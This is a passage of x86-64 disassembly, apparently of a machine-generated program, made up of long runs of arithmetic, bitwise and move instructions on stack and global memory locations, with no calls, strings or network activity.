lea rax, [rsp + 0x5064]
mov qword [rsp + 0xe260], rax
mov eax, dword [0x14019bf3c]
mov ecx, dword [rsp + 0x4424]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb48]
mov dword [rcx], eax
movzx eax, word [rsp + 0x124c]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd8f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xafd0]
movzx eax, byte [rax]
mov byte [rsp + 0x2fd], al
mov rax, qword [0x14019d828]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3638], eax
lea rax, [rsp + 0x4b08]
mov qword [rsp + 0xe268], rax
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11e8]
cdq
idiv ecx
mov rcx, qword [0x14019d868]
mov word [rcx], ax
movsx eax, byte [str.Sb]
movsx ecx, byte [rsp + 0x2c0]
sar eax, cl
mov byte [rsp + 0x2d1], al
movzx eax, word [rsp + 0x126c]
mov rcx, qword [rsp + 0xd2b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14f4], ax
movzx eax, byte [rsp + 0x2d2]
mov byte [rsp + 0x2fe], al
mov eax, dword [rsp + 0x47b4]
mov ecx, dword [rsp + 0x4d90]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4418]
mov dword [rsp + 0x5280], eax
mov eax, dword [rsp + 0x3fdc]
movzx ecx, al
mov eax, dword [rsp + 0x452c]
shl eax, cl
mov dword [rsp + 0x50c4], eax
mov eax, dword [rsp + 0x36ac]
mov ecx, dword [rsp + 0x5178]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcac0]
mov dword [rcx], eax
lea rax, [rsp + 0x4734]
mov qword [rsp + 0xe270], rax
movzx eax, word [rsp + 0x14b0]
movzx ecx, word [rsp + 0x12fc]
and eax, ecx
mov rcx, qword [rsp + 0xcca8]
mov word [rcx], ax
lea rax, [0x14019c006]
mov qword [0x14019e220], rax
lea rax, [rsp + 0x4cf4]
mov qword [rsp + 0xe278], rax
mov rax, qword [rsp + 0xb5a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0xa6a0]
mov ecx, dword [rsp + 0x4530]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xdc30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4910]
mov dword [rsp + 0x5284], eax
mov rax, qword [rsp + 0xc850]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf28], ax
mov rax, qword [rsp + 0xac60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c0]
add eax, ecx
mov byte [rsp + 0x121], al
movsx eax, word [rsp + 0x106c]
mov rcx, qword [rsp + 0xd1c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13c0], ax
mov rax, qword [rsp + 0xe038]
movzx eax, byte [rax]
mov byte [rsp + 0x2ff], al
mov eax, dword [rsp + 0x4f78]
mov ecx, dword [rsp + 0x3ae0]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c194], eax
mov rax, qword [rsp + 0xbf28]
mov ecx, dword [rsp + 0x4ba4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4708], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25f]
and eax, ecx
mov rcx, qword [rsp + 0xad28]
mov byte [rcx], al
movzx eax, word [rsp + 0x104c]
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0xce30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5228]
sar eax, cl
mov rcx, qword [rsp + 0xd850]
mov dword [rcx], eax
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0xe280], rax
mov rax, qword [rsp + 0xe118]
mov rcx, qword [rsp + 0xca10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4b7c], eax
mov rax, qword [rsp + 0xc4e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4848]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x294]
mov byte [rsp + 0x300], al
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0xc04]
shl eax, cl
mov rcx, qword [0x14019de88]
mov word [rcx], ax
mov rax, qword [rsp + 0xd180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x450c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e8c], eax
mov rax, qword [0x14019db40]
mov eax, dword [rax]
mov dword [rsp + 0x5288], eax
mov eax, dword [rsp + 0x3ca0]
mov ecx, dword [rsp + 0x4b50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4734], eax
mov rax, qword [rsp + 0xd7b8]
mov ecx, dword [rsp + 0x481c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc428]
mov dword [rcx], eax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov dword [rsp + 0x528c], eax
mov rax, qword [rsp + 0xaed8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13d4]
add eax, ecx
mov word [rsp + 0x11c4], ax
movzx eax, byte [rsp + 0x2c8]
mov byte [rsp + 0x301], al
mov rax, qword [0x14019df88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23a]
add eax, ecx
mov byte [rsp + 0x29b], al
mov rax, qword [rsp + 0xdfc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1070]
sub eax, ecx
mov rcx, qword [0x14019db90]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe60]
mov eax, dword [rax]
mov dword [rsp + 0x5290], eax
mov rax, qword [rsp + 0xd500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb288]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb398]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc0e8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov word [rsp + 0x158c], ax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov ecx, dword [0x14019dee8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8d0]
mov dword [rcx], eax
lea rax, [rsp + 0x5004]
mov qword [rsp + 0xe288], rax
mov rax, qword [rsp + 0xb208]
mov rcx, qword [rsp + 0xbed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xde60]
mov dword [rcx], eax
mov rax, qword [0x14019dd48]
mov ecx, dword [rsp + 0x4628]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a70], eax
lea rax, [rsp + 0x81]
mov qword [0x14019e228], rax
mov rax, qword [rsp + 0xd270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1078]
sar eax, cl
mov word [rsp + 0xaf4], ax
mov eax, dword [rsp + 0x3e1c]
mov rcx, qword [rsp + 0xd128]
mov qword [rsp + 0xe290], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe290]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbdf0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4088]
mov dword [rsp + 0x5294], eax
movsx eax, word [rsp + 0x1074]
movsx ecx, word [0x14019bf04]
xor eax, ecx
mov word [rsp + 0x1004], ax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x2d0]
or eax, ecx
mov rcx, qword [rsp + 0xc2f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb3f0]
movzx eax, byte [rax]
mov byte [rsp + 0x302], al
mov rax, qword [rsp + 0xcea0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd3a0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
mov eax, dword [rsp + 0x391c]
mov dword [rsp + 0x5298], eax
lea rax, [rsp + 0x45bc]
mov qword [0x14019e230], rax
mov eax, dword [rsp + 0x4554]
mov ecx, dword [rsp + 0x4d54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbcc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5134], eax
mov rax, qword [rsp + 0xac68]
mov eax, dword [rax]
mov dword [rsp + 0x529c], eax
movzx eax, word [rsp + 0x1274]
movzx ecx, word [rsp + 0x158c]
and eax, ecx
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0xcb20]
movzx eax, byte [rax]
mov byte [rsp + 0x303], al
mov rax, qword [rsp + 0xcf40]
mov rcx, qword [rsp + 0xc0b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x472c], eax
lea rax, [rsp + 0x4364]
mov qword [rsp + 0xe298], rax
mov eax, dword [rsp + 0x4e6c]
mov ecx, dword [0x14019c05c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0xb338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51dc]
add ecx, eax
mov eax, ecx
mov dword [0x14019e1a8], eax
mov rax, qword [rsp + 0xdf00]
movzx eax, word [rax]
mov rcx, qword [0x14019dcf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0xdd90]
movzx eax, byte [rax]
mov byte [rsp + 0x304], al
mov rax, qword [rsp + 0xd328]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc6f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc1f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb3f8]
movzx eax, byte [rax]
mov byte [rsp + 0x305], al
mov rax, qword [rsp + 0xb458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c14]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x454c], eax
mov eax, dword [rsp + 0x4c7c]
movzx ecx, al
mov eax, dword [rsp + 0x452c]
sar eax, cl
mov dword [rsp + 0x4850], eax
movzx eax, word [rsp + 0x1184]
mov word [rsp + 0x1590], ax
movzx eax, byte [0x14019bf9e]
movzx ecx, byte [rsp + 0x267]
or eax, ecx
mov rcx, qword [rsp + 0xae48]
mov byte [rcx], al
mov rax, qword [rsp + 0xd858]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e84]
shl eax, cl
mov dword [0x14019c198], eax
mov rax, qword [0x14019d990]
mov rcx, qword [rsp + 0xc410]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3a44], eax
mov rax, qword [rsp + 0xdec8]
mov ecx, dword [rsp + 0x4dc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ac4], eax
mov eax, dword [rsp + 0x5080]
mov ecx, dword [rsp + 0x4760]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a0], eax
movzx eax, word [rsp + 0x13bc]
mov word [rsp + 0x1594], ax
movzx eax, byte [rsp + 0x193]
mov rcx, qword [rsp + 0xc800]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f6], al
lea rax, [rsp + 0x4e54]
mov qword [rsp + 0xe2a0], rax
mov eax, dword [rsp + 0x468c]
mov ecx, dword [0x14019c08c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa700]
mov dword [rcx], eax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0xe2a8], rax
mov rax, qword [rsp + 0xd6f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b38]
and ecx, eax
mov eax, ecx
mov dword [0x14019d7e0], eax
mov rax, qword [rsp + 0xadf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0xbb30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x24a]
add eax, ecx
mov byte [rsp + 0x2b6], al
lea rax, [0x14019bf80]
mov qword [rsp + 0xe2b0], rax
movzx eax, byte [rsp + 0x1f0]
mov rcx, qword [rsp + 0xb3a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ca], al
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov word [rsp + 0x1598], ax
mov rax, qword [rsp + 0xcee8]
mov ecx, dword [rsp + 0x4fbc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4860], eax
mov rax, qword [rsp + 0xce70]
mov ecx, dword [rsp + 0x4e04]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4f74], eax
mov rax, qword [rsp + 0xd7b0]
movzx eax, word [rax]
mov word [rsp + 0x159c], ax
lea rax, [rsp + 0x167]
mov qword [0x14019e238], rax
mov eax, dword [rsp + 0x5070]
mov rcx, qword [0x14019d7d0]
mov qword [rsp + 0xe2b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4764], eax
lea rax, [rsp + 0x45bc]
mov qword [rsp + 0xe2c0], rax
mov rax, qword [rsp + 0xe0b8]
mov ecx, dword [rsp + 0x4754]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4c38], eax
mov rax, qword [rsp + 0xdf60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5e8]
mov qword [rsp + 0xe2c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3b2c], eax
movzx eax, word [rsp + 0xf24]
mov word [rsp + 0x15a0], ax
movzx eax, byte [rsp + 0x1b6]
movzx ecx, byte [0x14019bf9e]
and eax, ecx
mov rcx, qword [rsp + 0xc468]
mov byte [rcx], al
lea rax, [rsp + 0x46f4]
mov qword [rsp + 0xe2d0], rax
mov rax, qword [rsp + 0xae90]
mov ecx, dword [rsp + 0x4cdc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa598]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd388]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b6]
add eax, ecx
mov byte [0x14019bf2b], al
mov rax, qword [rsp + 0xae88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1148]
sub eax, ecx
mov rcx, qword [rsp + 0xca60]
mov word [rcx], ax
lea rax, [rsp + 0x244]
mov qword [rsp + 0xe2d8], rax
mov rax, qword [rsp + 0xc530]
movzx eax, word [rax]
mov rcx, qword [0x14019e0b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10f0], ax
lea rax, [rsp + 0x4ba8]
mov qword [rsp + 0xe2e0], rax
mov rax, qword [rsp + 0xabb8]
mov rcx, qword [rsp + 0xd020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe188]
mov dword [rcx], eax
lea rax, [rsp + 0x4630]
mov qword [rsp + 0xe2e8], rax
mov rax, qword [0x14019e230]
mov ecx, dword [rsp + 0x5260]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4874], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x4be8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4638], eax
movzx eax, byte [rsp + 0x181]
mov byte [rsp + 0x306], al
lea rax, [rsp + 0xfb8]
mov qword [0x14019e240], rax
mov eax, dword [rsp + 0x3bfc]
mov ecx, dword [rsp + 0x43f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e28], eax
mov rax, qword [rsp + 0xd660]
mov eax, dword [rax]
mov dword [rsp + 0x52a0], eax
mov eax, dword [rsp + 0x4368]
mov ecx, dword [rsp + 0x4eac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa740]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd870]
mov qword [rsp + 0xe2f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe2f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4910], eax
movzx eax, byte [rsp + 0x22e]
mov byte [rsp + 0x307], al
movzx eax, word [0x14019c154]
mov rcx, qword [rsp + 0xaf68]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xba00]
mov word [rcx], ax
lea rax, [rsp + 0xfec]
mov qword [rsp + 0xe2f8], rax
mov rax, qword [rsp + 0xb710]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x211]
or eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [0x14019dc18]
mov ecx, dword [rsp + 0x4d94]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019dcb0], eax
mov rax, qword [rsp + 0xb848]
mov ecx, dword [rsp + 0x4178]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcb28]
mov dword [rcx], eax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0xe300], rax
movzx eax, word [rsp + 0xec8]
movzx ecx, word [rsp + 0x1414]
sub eax, ecx
mov rcx, qword [rsp + 0xa990]
mov word [rcx], ax
mov rax, qword [rsp + 0xb4e8]
mov eax, dword [rax]
mov dword [rsp + 0x52a4], eax
mov rax, qword [rsp + 0xccb8]
mov ecx, dword [rsp + 0x5090]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc470]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe118]
mov rcx, qword [rsp + 0xa680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc880]
mov dword [rcx], eax
lea rax, [rsp + 0x415c]
mov qword [rsp + 0xe308], rax
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [rsp + 0x1ad]
sub eax, ecx
mov rcx, qword [rsp + 0xa930]
mov byte [rcx], al
mov rax, qword [rsp + 0xdb58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1204]
add eax, ecx
mov word [0x14019e110], ax
lea rax, [rsp + 0x3850]
mov qword [rsp + 0xe310], rax
mov rax, qword [rsp + 0xc500]
mov rcx, qword [0x14019d960]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x467c], eax
mov rax, qword [rsp + 0xb0a8]
mov ecx, dword [rsp + 0x4748]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cb8], eax
mov eax, dword [rsp + 0x479c]
mov ecx, dword [rsp + 0x4904]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
mov rax, qword [0x14019dd20]
mov rcx, qword [rsp + 0xc168]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xdb78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2f2]
mov byte [rsp + 0x308], al
mov rax, qword [rsp + 0xbf78]
movsx eax, word [rax]
movsx ecx, word [0x14019d8e0]
sar eax, cl
mov rcx, qword [rsp + 0xb798]
mov word [rcx], ax
movzx eax, byte [rsp + 0x217]
mov byte [rsp + 0x309], al
movzx eax, word [rsp + 0x1368]
mov word [0x14019e248], ax
mov rax, qword [rsp + 0xae00]
mov ecx, dword [rsp + 0x4bf4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4900], eax
mov eax, dword [rsp + 0x46cc]
movzx ecx, al
mov eax, dword [rsp + 0x43f8]
shl eax, cl
mov dword [rsp + 0x4500], eax
lea rax, [rsp + 0x10c8]
mov qword [rsp + 0xe318], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x1b6]
sub eax, ecx
mov rcx, qword [rsp + 0xc5b8]
mov byte [rcx], al
mov eax, dword [0x14019bfcc]
mov dword [rsp + 0x52a8], eax
mov rax, qword [rsp + 0xd358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x485c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ae0], eax
mov rax, qword [rsp + 0xad20]
mov ecx, dword [rsp + 0x446c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4470], eax
mov eax, dword [0x14019c0b4]
mov dword [rsp + 0x52ac], eax
mov rax, qword [rsp + 0xae68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbae0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019e098]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa3]
movzx ecx, byte [0x14019c02f]
add eax, ecx
mov byte [rsp + 0x307], al
lea rax, [rsp + 0x3418]
mov qword [rsp + 0xe320], rax
mov rax, qword [rsp + 0xde30]
mov rcx, qword [rsp + 0xa980]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42a0], eax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0xe328], rax
mov rax, qword [rsp + 0xb0f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1504]
add eax, ecx
mov word [rsp + 0x1034], ax
mov rax, qword [rsp + 0xc7d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcea0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0xe330], rax
mov rax, qword [0x14019dc70]
mov ecx, dword [rsp + 0x5234]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x525c], eax
mov rax, qword [rsp + 0xadc0]
mov rcx, qword [rsp + 0xdd70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c19c], eax
lea rax, [rsp + 0x37c0]
mov qword [rsp + 0xe338], rax
mov eax, dword [rsp + 0x5234]
mov ecx, dword [rsp + 0x4dd8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3374]
mov rcx, qword [rsp + 0xe0b8]
mov qword [rsp + 0xe340], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe340]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e94], eax
lea rax, [0x14019c0d4]
mov qword [rsp + 0xe348], rax
movzx eax, byte [rsp + 0x2e1]
mov rcx, qword [rsp + 0xc620]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd418]
mov byte [rcx], al
mov rax, qword [rsp + 0xc830]
mov eax, dword [rax]
mov dword [rsp + 0x52b0], eax
mov rax, qword [rsp + 0xb458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4814]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dd0], eax
mov eax, dword [rsp + 0x4208]
mov ecx, dword [rsp + 0x45e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4518], eax
mov rax, qword [rsp + 0xcac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019ddf0]
mov dword [rcx], eax
lea rax, [rsp + 0x1254]
mov qword [rsp + 0xe350], rax
movzx eax, byte [rsp + 0x2d4]
movzx ecx, byte [rsp + 0x284]
and eax, ecx
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
lea rax, [rsp + 0x2cb]
mov qword [rsp + 0xe358], rax
mov rax, qword [rsp + 0xb488]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcaa8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1408], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xd358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb728]
mov eax, dword [rax]
mov dword [rsp + 0x52b4], eax
mov rax, qword [rsp + 0xd528]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d4]
add eax, ecx
mov byte [rsp + 0x1b6], al
mov rax, qword [rsp + 0xb9c8]
movzx eax, word [rax]
mov word [rsp + 0x15a4], ax
lea rax, [rsp + 0x4ca8]
mov qword [0x14019e250], rax
mov eax, dword [0x14019c098]
mov ecx, dword [rsp + 0x3c48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cb0], eax
mov eax, dword [rsp + 0x4868]
mov dword [rsp + 0x52b8], eax
mov eax, dword [rsp + 0x51d0]
mov ecx, dword [rsp + 0x41f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d8], eax
movzx eax, word [rsp + 0xec8]
mov rcx, qword [0x14019e168]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10a4], ax
movzx eax, byte [rsp + 0x21b]
mov rcx, qword [rsp + 0xde18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0xc2b8]
mov rcx, qword [rsp + 0xd908]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3420], eax
lea rax, [0x14019c158]
mov qword [rsp + 0xe360], rax
mov rax, qword [rsp + 0xd8e0]
mov ecx, dword [rsp + 0x495c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd238]
mov dword [rcx], eax
lea rax, [rsp + 0x39e4]
mov qword [0x14019e258], rax
mov eax, dword [0x14019bff8]
mov ecx, dword [rsp + 0x45dc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b60], eax
lea rax, [rsp + 0xd84]
mov qword [rsp + 0xe368], rax
mov rax, qword [rsp + 0xba88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c8]
sar eax, cl
mov rcx, qword [rsp + 0xd4b8]
mov byte [rcx], al
lea rax, [rsp + 0xe20]
mov qword [rsp + 0xe370], rax
mov rax, qword [rsp + 0xd360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe168]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov eax, dword [rsp + 0x49bc]
mov rcx, qword [rsp + 0xa840]
mov qword [rsp + 0xe378], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe378]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc180]
mov dword [rcx], eax
lea rax, [rsp + 0x3ef8]
mov qword [rsp + 0xe380], rax
mov rax, qword [rsp + 0xb968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c7]
and eax, ecx
mov rcx, qword [rsp + 0xb450]
mov byte [rcx], al
mov rax, qword [rsp + 0xb2e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019d968]
mov word [rcx], ax
lea rax, [rsp + 0x48b0]
mov qword [rsp + 0xe388], rax
mov rax, qword [rsp + 0xc2a8]
mov ecx, dword [rsp + 0x4aac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40e4], eax
mov eax, dword [rsp + 0x5144]
mov dword [rsp + 0x52bc], eax
mov rax, qword [rsp + 0xb658]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4744]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3740], eax
movzx eax, word [rsp + 0x136c]
mov rcx, qword [rsp + 0xab00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1328], ax
lea rax, [rsp + 0x2fa]
mov qword [rsp + 0xe390], rax
mov eax, dword [rsp + 0x3388]
mov ecx, dword [0x14019bf2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4304], eax
lea rax, [rsp + 0x42ec]
mov qword [rsp + 0xe398], rax
movsx eax, word [rsp + 0x1340]
mov rcx, qword [rsp + 0xb348]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019c004], ax
movsx eax, byte [rsp + 0x1bc]
mov rcx, qword [rsp + 0xdd88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc780]
mov byte [rcx], al
movzx eax, word [rsp + 0x1594]
mov rcx, qword [rsp + 0xc740]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov rax, qword [rsp + 0xd780]
movzx eax, byte [rax]
mov byte [rsp + 0x30a], al
mov eax, dword [rsp + 0x4e40]
mov rcx, qword [rsp + 0xc130]
mov qword [rsp + 0xe3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x473c], eax
mov eax, dword [rsp + 0x50cc]
mov dword [rsp + 0x52c0], eax
mov eax, dword [rsp + 0x4654]
mov rcx, qword [rsp + 0xda30]
mov qword [rsp + 0xe3a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3a8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc7b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa670]
mov rcx, qword [rsp + 0xd078]
